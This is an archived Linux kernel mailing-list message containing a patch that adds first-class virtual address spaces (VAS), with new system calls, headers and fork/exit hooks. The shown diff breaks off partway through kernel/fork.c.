Message-ID: <20170313221415.9375-11-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443334 8272 195.159.176.226 (13 Mar 2017 22:15:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:15:34 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:15:21 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYF9-0000OK-Nn
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:15:08 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 9BE446B03A5; Mon, 13 Mar 2017 18:15:09 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 8F75C6B03A9; Mon, 13 Mar 2017 18:15:09 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 633B06B03AA; Mon, 13 Mar 2017 18:15:09 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wr0-f200.google.com (mail-wr0-f200.google.com [209.85.128.200])
	by kanga.kvack.org (Postfix) with ESMTP id B3E316B03A5
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:15:08 -0400 (EDT)
Original-Received: by mail-wr0-f200.google.com with SMTP id y51so47505964wry.6
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:15:08 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=qMqhuDNCQ4hAgxXXanx0anHXyrTpRVuhg02A2MW7SrQ=;
        b=laAIO+cHxsEroFEPuyGlZdZp8e5fVBXeF9u+DRFv2BcUwlLOXn4pM3pBjV0gbb2gYX
         W8atYluWgOd7lXJEImFqoeWxyNEW6Z/ftaaORs68qv98z2eDn0gpUwwAaIkrZ+vpP1Ra
         v9ijOXGfx3JBAABVTnKXmX96ZgKFCeVPR92I7mqbtrV/8sEL17zYMx8KKhrQcfXTZ+vQ
         bJSqhG+Z6LRwXl04HMWxyJHIcImSLOzCPxbk7VnO4BQWRQwx6NUopSyswxu0vCXN2SI1
         3J7inEfOOCpBP2ThNFl7AZbnOqMwtUxyXqKaFnuWEjEUFs8TLNp6Mc6FJahrBwxavMLx
         ZbPQ==
X-Gm-Message-State: AFeK/H09VIGBuU7ReOQWa5Wfuff2bExucJ1Z0AGkZfSwh+cljTkZzhos9uP87de0TpJE/gr3zLoh3SU6xZ3DyCSmML8BrOkXJr75mcBJNwPHoBgXskuCygLD5QpVaqQlsCbFxH4guCKvjHqpbdkDyWDZli+Lj7vWtlScNbBcfaCh1hNOGs+nRQ2DFA8qzRNMfec7DXZIBP1ogRnxeoxHPqm8ch/2Rv9IMmdcJHA7vfm3xJEg138xI6xpBoJPcj6D/La+YYHClQjzXes1knCxmYYJif3OUtXAOQtyXQO8Gy4LLANS7u8NmL4=
X-Received: by 10.28.21.15 with SMTP id 15mr11916465wmv.11.1489443308110;
        Mon, 13 Mar 2017 15:15:08 -0700 (PDT)
X-Received: by 10.28.21.15 with SMTP id 15mr11916318wmv.11.1489443304043;
        Mon, 13 Mar 2017 15:15:04 -0700 (PDT)
Original-Received: from mail-wr0-x244.google.com (mail-wr0-x244.google.com. [2a00:1450:400c:c0c::244])
        by mx.google.com with ESMTPS id r13si2325390wra.91.2017.03.13.15.15.03
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:15:03 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) client-ip=2a00:1450:400c:c0c::244;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x244.google.com with SMTP id g10so21792336wrg.0;
        Mon, 13 Mar 2017 15:15:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=qMqhuDNCQ4hAgxXXanx0anHXyrTpRVuhg02A2MW7SrQ=;
        b=HpiUNtUHdTltgYohL3MjVqU0td9cgJYoEl2oSiyebeAx0uctRopxq6OqivHtFd/P4p
         hM46hVPql21AO9HoFNGMBqNUbBzFSS4lrJ3G2YuJKrJoJCIt/crw6I5/pcpGA4rhhGLY
         RojSc9hzd0JFW8rzOuc6JTIShdBTmvIAkvU45DqSgLNwcjg4gK5zSEuEe8vFetSdXy3g
         Da+mF1rSziyjZ8cqEdxwkbVsMxFsRGj0a/dnhZXvMjvywGVDYA6pNKXhHnt02lzDu2L5
         U0UL3vfeTaYqB4vaEmPflCPzGLGvvcEXBIixKF5gSwPar2ZAjo1XJuhdDFFzLJFTzszw
         en2g==
X-Received: by 10.223.171.76 with SMTP id r12mr33393866wrc.164.1489443301019;
        Mon, 13 Mar 2017 15:15:01 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id o15sm12922660wmd.10.2017.03.13.15.14.59
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:15:00 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4946 gmane.linux.kernel:2431242 gmane.linux.ports.alpha:4132 gmane.linux.kernel.arc:2221 gmane.linux.ports.arm.kernel:564756 gmane.linux.ports.hexagon:1157 gmane.linux.ports.ia64:27696 gmane.linux.kernel.metag:1266 gmane.linux.ports.mips.general:58342 gmane.linux.ports.parisc:27324 gmane.linux.ports.ppc64.devel:139535 gmane.linux.ports.sh.devel:55130 gmane.linux.ports.sparc:24727 gmane.linux.drivers.video-input-infrastructure:114750 gmane.linux.drivers.mtd:72541 gmane.linux.usb.general:156117 gmane.linux.file-systems:119087 gmane.linux.kernel.mm:168269 gmane.linux.kernel.api:22528 gmane.linux.kernel.cross-arch:35536 gmane.linux.alsa.devel:165314
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4946>

Introduce a different type of address spaces which are first class citizens
in the OS. That means that the kernel now handles two types of AS, those
which are closely coupled with a process and those which aren't. While the
former ones are created and destroyed together with the process by the
kernel and are the default type of AS in the Linux kernel, the latter ones
have to be managed explicitly by the user and are the newly introduced
type.

Accordingly, a first class AS (also called VAS == virtual address space)
can exist in the OS independently from any process. A user has to
explicitly create and destroy them in the system. Processes and VAS can be
combined by attaching a previously created VAS to a process which basically
adds an additional AS to the process that the process' threads are able to
execute in. Hence, VAS allow a process to have different views onto the
main memory of the system (its original AS and the attached VAS) between
which its threads can switch arbitrarily during their lifetime.

The functionality made available through first class virtual address spaces
can be used in various different ways. One possible way to utilize VAS is
to compartmentalize a process for security reasons. Another possible usage
is to improve the performance of data-centric applications by being able to
manage different sets of data in memory without the need to map or unmap
them.

Furthermore, first class virtual address spaces can be attached to
different processes at the same time if the underlying memory is only
readable. This mechanism allows sharing of whole address spaces between
multiple processes that can both execute in them using the contained
memory.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
Signed-off-by: Marco Benatto <marco.antonio.780@gmail.com>
---
 MAINTAINERS                            |   10 +
 arch/x86/entry/syscalls/syscall_32.tbl |    9 +
 arch/x86/entry/syscalls/syscall_64.tbl |    9 +
 fs/exec.c                              |    3 +
 include/linux/mm_types.h               |    8 +
 include/linux/sched.h                  |   17 +
 include/linux/syscalls.h               |   11 +
 include/linux/vas.h                    |  182 +++
 include/linux/vas_types.h              |   88 ++
 include/uapi/asm-generic/unistd.h      |   20 +-
 include/uapi/linux/Kbuild              |    1 +
 include/uapi/linux/vas.h               |   16 +
 init/main.c                            |    2 +
 kernel/exit.c                          |    2 +
 kernel/fork.c                          |   28 +-
 kernel/sys_ni.c                        |   11 +
 mm/Kconfig                             |   20 +
 mm/Makefile                            |    1 +
 mm/internal.h                          |    8 +
 mm/memory.c                            |    3 +
 mm/mmap.c                              |   22 +
 mm/vas.c                               | 2188 ++++++++++++++++++++++++++++++++
 22 files changed, 2657 insertions(+), 2 deletions(-)
 create mode 100644 include/linux/vas.h
 create mode 100644 include/linux/vas_types.h
 create mode 100644 include/uapi/linux/vas.h
 create mode 100644 mm/vas.c

diff --git a/MAINTAINERS b/MAINTAINERS
index 527d13759ecc..060b1c64e67a 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -5040,6 +5040,16 @@ F:	Documentation/firmware_class/
 F:	drivers/base/firmware*.c
 F:	include/linux/firmware.h
 
+FIRST CLASS VIRTUAL ADDRESS SPACES
+M:	Till Smejkal <till.smejkal@gmail.com>
+L:	linux-kernel@vger.kernel.org
+L:	linux-mm@kvack.org
+S:	Maintained
+F:	include/linux/vas_types.h
+F:	include/linux/vas.h
+F:	include/uapi/linux/vas.h
+F:	mm/vas.c
+
 FLASH ADAPTER DRIVER (IBM Flash Adapter 900GB Full Height PCI Flash Card)
 M:	Joshua Morris <josh.h.morris@us.ibm.com>
 M:	Philip Kelleher <pjk1939@linux.vnet.ibm.com>
diff --git a/arch/x86/entry/syscalls/syscall_32.tbl b/arch/x86/entry/syscalls/syscall_32.tbl
index 2b3618542544..8c553eef8c44 100644
--- a/arch/x86/entry/syscalls/syscall_32.tbl
+++ b/arch/x86/entry/syscalls/syscall_32.tbl
@@ -389,3 +389,12 @@
 380	i386	pkey_mprotect		sys_pkey_mprotect
 381	i386	pkey_alloc		sys_pkey_alloc
 382	i386	pkey_free		sys_pkey_free
+383	i386	vas_create		sys_vas_create
+384	i386	vas_delete		sys_vas_delete
+385	i386	vas_find		sys_vas_find
+386	i386	vas_attach		sys_vas_attach
+387	i386	vas_detach		sys_vas_detach
+388	i386	vas_switch		sys_vas_switch
+389	i386	active_vas		sys_active_vas
+390	i386	vas_getattr		sys_vas_getattr
+391	i386	vas_setattr		sys_vas_setattr
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index e93ef0b38db8..72f1f0495710 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -338,6 +338,15 @@
 329	common	pkey_mprotect		sys_pkey_mprotect
 330	common	pkey_alloc		sys_pkey_alloc
 331	common	pkey_free		sys_pkey_free
+332	common	vas_create		sys_vas_create
+333	common	vas_delete		sys_vas_delete
+334	common	vas_find		sys_vas_find
+335	common	vas_attach		sys_vas_attach
+336	common	vas_detach		sys_vas_detach
+337	common	vas_switch		sys_vas_switch
+338	common	active_vas		sys_active_vas
+339	common	vas_getattr		sys_vas_getattr
+340	common	vas_setattr		sys_vas_setattr
 
 #
 # x32-specific system call numbers start at 512 to avoid cache impact
diff --git a/fs/exec.c b/fs/exec.c
index 68d7908a1e5a..e1ac0a8c76bf 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -1020,6 +1020,9 @@ static int exec_mmap(struct mm_struct *mm)
 	active_mm = tsk->active_mm;
 	tsk->mm = mm;
 	tsk->active_mm = mm;
+#ifdef CONFIG_VAS
+	tsk->original_mm = mm;
+#endif
 	activate_mm(active_mm, mm);
 	tsk->mm->vmacache_seqnum = 0;
 	vmacache_flush(tsk);
diff --git a/include/linux/mm_types.h b/include/linux/mm_types.h
index 6aa03e88dcff..82bf78ea83ee 100644
--- a/include/linux/mm_types.h
+++ b/include/linux/mm_types.h
@@ -13,6 +13,7 @@
 #include <linux/uprobes.h>
 #include <linux/page-flags-layout.h>
 #include <linux/workqueue.h>
+#include <linux/ktime.h>
 #include <asm/page.h>
 #include <asm/mmu.h>
 
@@ -358,6 +359,10 @@ struct vm_area_struct {
 	struct mempolicy *vm_policy;	/* NUMA policy for the VMA */
 #endif
 	struct vm_userfaultfd_ctx vm_userfaultfd_ctx;
+#ifdef CONFIG_VAS
+	struct mm_struct *vas_reference;
+	ktime_t vas_last_update;
+#endif
 };
 
 struct core_thread {
@@ -514,6 +519,9 @@ struct mm_struct {
 	atomic_long_t hugetlb_usage;
 #endif
 	struct work_struct async_put_work;
+#ifdef CONFIG_VAS
+	ktime_t vas_last_update;
+#endif
 };
 
 static inline void mm_init_cpumask(struct mm_struct *mm)
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 7955adc00397..216876912e77 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -1508,6 +1508,18 @@ struct tlbflush_unmap_batch {
 	bool writable;
 };
 
+/* Shared information of attached VASes between processes */
+#ifdef CONFIG_VAS
+struct vas_context {
+	spinlock_t lock;
+	u16 refcount;			// < the number of tasks using this
+					//   VAS context.
+
+	struct list_head vases;		// < the list of attached-VASes which
+					//   are handled by this VAS context.
+};
+#endif
+
 struct task_struct {
 #ifdef CONFIG_THREAD_INFO_IN_TASK
 	/*
@@ -1583,6 +1595,11 @@ struct task_struct {
 #endif
 
 	struct mm_struct *mm, *active_mm;
+#ifdef CONFIG_VAS
+	struct mm_struct *original_mm;
+	struct vas_context *vas_ctx;
+	int active_vas;
+#endif
 	/* per-thread vma caching */
 	u32 vmacache_seqnum;
 	struct vm_area_struct *vmacache[VMACACHE_SIZE];
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index 91a740f6b884..fdea27d37c96 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -65,6 +65,7 @@ struct old_linux_dirent;
 struct perf_event_attr;
 struct file_handle;
 struct sigaltstack;
+struct vas_attr;
 union bpf_attr;
 
 #include <linux/types.h>
@@ -903,4 +904,14 @@ asmlinkage long sys_pkey_mprotect(unsigned long start, size_t len,
 asmlinkage long sys_pkey_alloc(unsigned long flags, unsigned long init_val);
 asmlinkage long sys_pkey_free(int pkey);
 
+asmlinkage long sys_vas_create(const char __user *name, umode_t mode);
+asmlinkage long sys_vas_delete(int vid);
+asmlinkage long sys_vas_find(const char __user *name);
+asmlinkage long sys_vas_attach(pid_t pid, int vid, int type);
+asmlinkage long sys_vas_detach(pid_t pid, int vid);
+asmlinkage long sys_vas_switch(int vid);
+asmlinkage long sys_active_vas(void);
+asmlinkage long sys_vas_getattr(int vid, struct vas_attr __user *attr);
+asmlinkage long sys_vas_setattr(int vid, struct vas_attr __user *attr);
+
 #endif
diff --git a/include/linux/vas.h b/include/linux/vas.h
new file mode 100644
index 000000000000..6a72e42f96d2
--- /dev/null
+++ b/include/linux/vas.h
@@ -0,0 +1,182 @@
+#ifndef _LINUX_VAS_H
+#define _LINUX_VAS_H
+
+
+#include <linux/sched.h>
+#include <linux/vas_types.h>
+
+
+/***
+ * General management of the VAS subsystem
+ ***/
+
+#ifdef CONFIG_VAS
+
+/***
+ * Management of VASes
+ ***/
+
+/**
+ * Lock and unlock helper for VAS.
+ **/
+#define vas_lock(vas) mutex_lock(&(vas)->mtx)
+#define vas_unlock(vas) mutex_unlock(&(vas)->mtx)
+
+/**
+ * Create a new VAS.
+ *
+ * @param[in] name:		The name of the new VAS.
+ * @param[in] mode:		The access rights for the VAS.
+ *
+ * @returns:			The VAS ID on success, -ERRNO otherwise.
+ **/
+extern int vas_create(const char *name, umode_t mode);
+
+/**
+ * Get a pointer to a VAS data structure.
+ *
+ * @param[in] vid:		The ID of the VAS whose data structure should be
+ *				returned.
+ *
+ * @returns:			The pointer to the VAS data structure on
+ *				success, or NULL otherwise.
+ **/
+extern struct vas *vas_get(int vid);
+
+/**
+ * Return a pointer to a VAS data structure again.
+ *
+ * @param[in] vas:		The pointer to the VAS data structure that
+ *				should be returned.
+ **/
+extern void vas_put(struct vas *vas);
+
+/**
+ * Get the ID of the VAS belonging to the given name.
+ *
+ * @param[in] name:		The name of the VAS for which the ID should be
+ *				returned.
+ *
+ * @returns:			The VAS ID on success, -ERRNO otherwise.
+ **/
+extern int vas_find(const char *name);
+
+/**
+ * Delete the given VAS structure again.
+ *
+ * @param[in] vid:		The ID of the VAS which should be deleted.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_delete(int vid);
+
+/**
+ * Attach a VAS to a process.
+ *
+ * @param[in] tsk:		The task to which the VAS should be attached to.
+ * @param[in] vid:		The ID of the VAS which should be attached.
+ * @param[in] type:		The type how the VAS should be attached.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_attach(struct task_struct *tsk, int vid, int type);
+
+/**
+ * Detach a VAS from a process.
+ *
+ * @param[in] tsk:		The task from which the VAS should be detached.
+ * @param[in] vid:		The ID of the VAS which should be detached.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_detach(struct task_struct *tsk, int vid);
+
+/**
+ * Switch to a different VAS.
+ *
+ * @param[in] tsk:		The task for which the VAS should be switched.
+ * @param[in] vid:		The ID of the VAS which should be activated.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_switch(struct task_struct *tsk, int vid);
+
+/**
+ * Get attributes of a VAS.
+ *
+ * @param[in] vid:		The ID of the VAS for which the attributes
+ *				should be returned.
+ * @param[out] attr:		The pointer to the struct where the attributes
+ *				should be saved.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_getattr(int vid, struct vas_attr *attr);
+
+/**
+ * Set attributes of a VAS.
+ *
+ * @param[in] vid:		The ID of the VAS for which the attributes
+ *				should be updated.
+ * @param[in] attr:		The pointer to the struct containing the new
+ *				attributes.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_setattr(int vid, struct vas_attr *attr);
+
+
+/***
+ * Management of VAS contexts
+ ***/
+
+/**
+ * Lock and unlock helper for VAS contexts.
+ **/
+#define vas_context_lock(ctx) spin_lock(&(ctx)->lock)
+#define vas_context_unlock(ctx) spin_unlock(&(ctx)->lock)
+
+
+/***
+ * Management of the VAS subsystem
+ ***/
+
+/**
+ * Initialize the VAS subsystem
+ **/
+extern void vas_init(void);
+
+
+/***
+ * Management of the VAS subsystem during fork and exit
+ ***/
+
+/**
+ * Initialize the task-specific VAS data structures during the clone system
+ * call.
+ *
+ * @param[in] clone_flags:	The flags which were given to the system call by
+ *				the user.
+ * @param[in] tsk:		The new task which should be initialized.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_clone(int clone_flags, struct task_struct *tsk);
+
+/**
+ * Destroy the task-specific VAS data structures during the exit system call.
+ *
+ * @param[in] tsk:		The task for which data structures should be
+ *				destructed.
+ **/
+extern void vas_exit(struct task_struct *tsk);
+
+#else /* CONFIG_VAS */
+
+static inline void __init vas_init(void) {}
+static inline int vas_clone(int cf, struct task_struct *tsk) { return 0; }
+static inline int vas_exit(struct task_struct *tsk) { return 0; }
+
+#endif /* CONFIG_VAS */
+
+#endif
diff --git a/include/linux/vas_types.h b/include/linux/vas_types.h
new file mode 100644
index 000000000000..f06bfa9ef729
--- /dev/null
+++ b/include/linux/vas_types.h
@@ -0,0 +1,88 @@
+#ifndef _LINUX_VAS_TYPES_H
+#define _LINUX_VAS_TYPES_H
+
+#include <uapi/linux/vas.h>
+
+#include <linux/kobject.h>
+#include <linux/list.h>
+#include <linux/mutex.h>
+#include <linux/spinlock_types.h>
+#include <linux/types.h>
+
+
+#define VAS_MAX_NAME_LENGTH 256
+
+#define VAS_IS_ERROR(id) ((id) < 0)
+
+/**
+ * Forward declare various important shared data structures.
+ **/
+struct mm_struct;
+struct task_struct;
+
+/**
+ * The struct representing a Virtual Address Space (VAS).
+ *
+ * This data structure contains all the necessary information of a VAS such as
+ * its name, ID. It also contains access rights and other management
+ * information.
+ **/
+struct vas {
+	struct kobject kobj;		/* < the internal kobject that we use *
+					 *   for reference counting and sysfs *
+					 *   handling.                        */
+
+	int id;				/* < ID                               */
+	char name[VAS_MAX_NAME_LENGTH];	/* < name                             */
+
+	struct mutex mtx;		/* < lock for parallel access.        */
+
+	struct mm_struct *mm;		/* < a partial memory map containing  *
+					 *   all mappings of this VAS.        */
+
+	struct list_head link;		/* < the link in the global VAS list. */
+	struct rcu_head rcu;		/* < the RCU helper used for          *
+					 *   asynchronous VAS deletion.       */
+
+	u16 refcount;			/* < how often is the VAS attached.   */
+	struct list_head attaches;	/* < the list of tasks which have     *
+					 *   this VAS attached.               */
+
+	spinlock_t share_lock;		/* < lock for protecting sharing      *
+					 *   state.                           */
+	u32 sharing;			/* < the variable used to keep track  *
+					 *   of the current sharing state of  *
+					 *   the VAS.                         */
+
+	umode_t mode;			/* < the access rights to this VAS.   */
+	kuid_t uid;			/* < the UID of the owning user of    *
+					 *   this VAS.                        */
+	kgid_t gid;			/* < the GID of the owning group of   *
+					 *   this VAS.                        */
+};
+
+/**
+ * The struct representing a VAS being attached to a process.
+ *
+ * Once a VAS is attached to a process additional information are necessary.
+ * This data structure contains all these information which makes using a VAS
+ * fast and easy.
+ **/
+struct att_vas {
+	struct vas *vas;		/* < the reference to the actual VAS  *
+					 *   containing all the information.  */
+
+	struct task_struct *tsk;	/* < the reference to the task to     *
+					 *   which the VAS is attached to.    */
+
+	struct mm_struct *mm;		/* < the backing memory map.          */
+
+	struct list_head tsk_link;	/* < the link in the list managed     *
+					 *   inside the task.                 */
+	struct list_head vas_link;	/* < the link in the list managed     *
+					 *   inside the VAS.                  */
+
+	int type;			/* < the type of attaching (RO/RW).   */
+};
+
+#endif
diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
index 9b1462e38b82..35df7d40a443 100644
--- a/include/uapi/asm-generic/unistd.h
+++ b/include/uapi/asm-generic/unistd.h
@@ -730,9 +730,27 @@ __SYSCALL(__NR_pkey_mprotect, sys_pkey_mprotect)
 __SYSCALL(__NR_pkey_alloc,    sys_pkey_alloc)
 #define __NR_pkey_free 290
 __SYSCALL(__NR_pkey_free,     sys_pkey_free)
+#define __NR_vas_create 291
+__SYSCALL(__NR_vas_create, sys_vas_create)
+#define __NR_vas_delete 292
+__SYSCALL(__NR_vas_delete, sys_vas_delete)
+#define __NR_vas_find 293
+__SYSCALL(__NR_vas_find, sys_vas_find)
+#define __NR_vas_attach 294
+__SYSCALL(__NR_vas_attach, sys_vas_attach)
+#define __NR_vas_detach 295
+__SYSCALL(__NR_vas_detach, sys_vas_detach)
+#define __NR_vas_switch 296
+__SYSCALL(__NR_vas_switch, sys_vas_switch)
+#define __NR_active_vas 297
+__SYSCALL(__NR_active_vas, sys_active_vas)
+#define __NR_vas_getattr 298
+__SYSCALL(__NR_vas_getattr, sys_vas_getattr)
+#define __NR_vas_setattr 299
+__SYSCALL(__NR_vas_setattr, sys_vas_setattr)
 
 #undef __NR_syscalls
-#define __NR_syscalls 291
+#define __NR_syscalls 300
 
 /*
  * All syscalls below here should go away really,
diff --git a/include/uapi/linux/Kbuild b/include/uapi/linux/Kbuild
index f330ba4547cf..5666900bdf06 100644
--- a/include/uapi/linux/Kbuild
+++ b/include/uapi/linux/Kbuild
@@ -446,6 +446,7 @@ header-y += v4l2-controls.h
 header-y += v4l2-dv-timings.h
 header-y += v4l2-mediabus.h
 header-y += v4l2-subdev.h
+header-y += vas.h
 header-y += veth.h
 header-y += vfio.h
 header-y += vhost.h
diff --git a/include/uapi/linux/vas.h b/include/uapi/linux/vas.h
new file mode 100644
index 000000000000..02f70f88bdcb
--- /dev/null
+++ b/include/uapi/linux/vas.h
@@ -0,0 +1,16 @@
+#ifndef _UAPI_LINUX_VAS_H
+#define _UAPI_LINUX_VAS_H
+
+#include <linux/types.h>
+
+
+/**
+ * The struct containing attributes of a VAS.
+ **/
+struct vas_attr {
+	__kernel_mode_t mode;		/* < the access rights to the VAS.    */
+	__kernel_uid_t user;		/* < the owning user of the VAS.      */
+	__kernel_gid_t group;		/* < the owning group of the VAS.     */
+};
+
+#endif
diff --git a/init/main.c b/init/main.c
index b0c9d6facef9..16f33b04f8ea 100644
--- a/init/main.c
+++ b/init/main.c
@@ -82,6 +82,7 @@
 #include <linux/proc_ns.h>
 #include <linux/io.h>
 #include <linux/cache.h>
+#include <linux/vas.h>
 
 #include <asm/io.h>
 #include <asm/bugs.h>
@@ -538,6 +539,7 @@ asmlinkage __visible void __init start_kernel(void)
 	sort_main_extable();
 	trap_init();
 	mm_init();
+	vas_init();
 
 	/*
 	 * Set up the scheduler prior starting any interrupts (such as the
diff --git a/kernel/exit.c b/kernel/exit.c
index 8f14b866f9f6..b9687ea70a5b 100644
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -55,6 +55,7 @@
 #include <linux/shm.h>
 #include <linux/kcov.h>
 #include <linux/random.h>
+#include <linux/vas.h>
 
 #include <linux/uaccess.h>
 #include <asm/unistd.h>
@@ -823,6 +824,7 @@ void __noreturn do_exit(long code)
 	tsk->exit_code = code;
 	taskstats_exit(tsk, group_dead);
 
+	vas_exit(tsk);
 	exit_mm(tsk);
 
 	if (group_dead)
diff --git a/kernel/fork.c b/kernel/fork.c
index d3087d870855..292299c7995e 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -76,6 +76,8 @@
 #include <linux/compiler.h>
 #include <linux/sysctl.h>
 #include <linux/kcov.h>
+#include <linux/vas.h>
+#include <linux/timekeeping.h>
 
 #include <asm/pgtable.h>
 #include <asm/pgalloc.h>
@@ -781,6 +783,10 @@ struct mm_struct *mm_setup(struct mm_struct *mm)
 	if (mm_alloc_pgd(mm))
 		goto fail_nopgd;
 
+#ifdef CONFIG_VAS
+	mm->vas_last_update = ktime_get();
+#endif
+
 	return mm;
 
 fail_nopgd:
@@ -1207,6 +1213,9 @@ static int copy_mm(unsigned long clone_flags, struct task_struct *tsk)
 
 	tsk->mm = NULL;
 	tsk->active_mm = NULL;
+#ifdef CONFIG_VAS
+	tsk->original_mm = NULL;
+#endif
 
 	/*
 	 * Are we cloning a kernel thread?
@@ -1217,6 +1226,15 @@ static int copy_mm(unsigned long clone_flags, struct task_struct *tsk)
 	if (!oldmm)
 		return 0;
 
+#ifdef CONFIG_VAS
+	/*
+	 * Never fork the address space of a VAS but use the process'
+	 * original one.
+	 */
+	if (oldmm != current->original_mm)
+		oldmm = current->original_mm;
+#endif
+
 	/* initialize the new vmacache entries */
 	vmacache_flush(tsk);
 
@@ -1234,6 +1252,9 @@ static int copy_mm(unsigned long clone_flags, struct task_struct *tsk)
 good_mm:
 	tsk->mm = mm;
 	tsk->active_mm = mm;
+#ifdef CONFIG_VAS
+	tsk->original_mm = mm;
+#endif
 	return 0;
 
 fail_nomem:
@@ -1700,9 +1721,12 @@ static __latent_entropy struct task_struct *copy_process(
 	retval = copy_mm(clone_flags, p);
 	if (retval)
 		goto bad_fork_cleanup_signal;
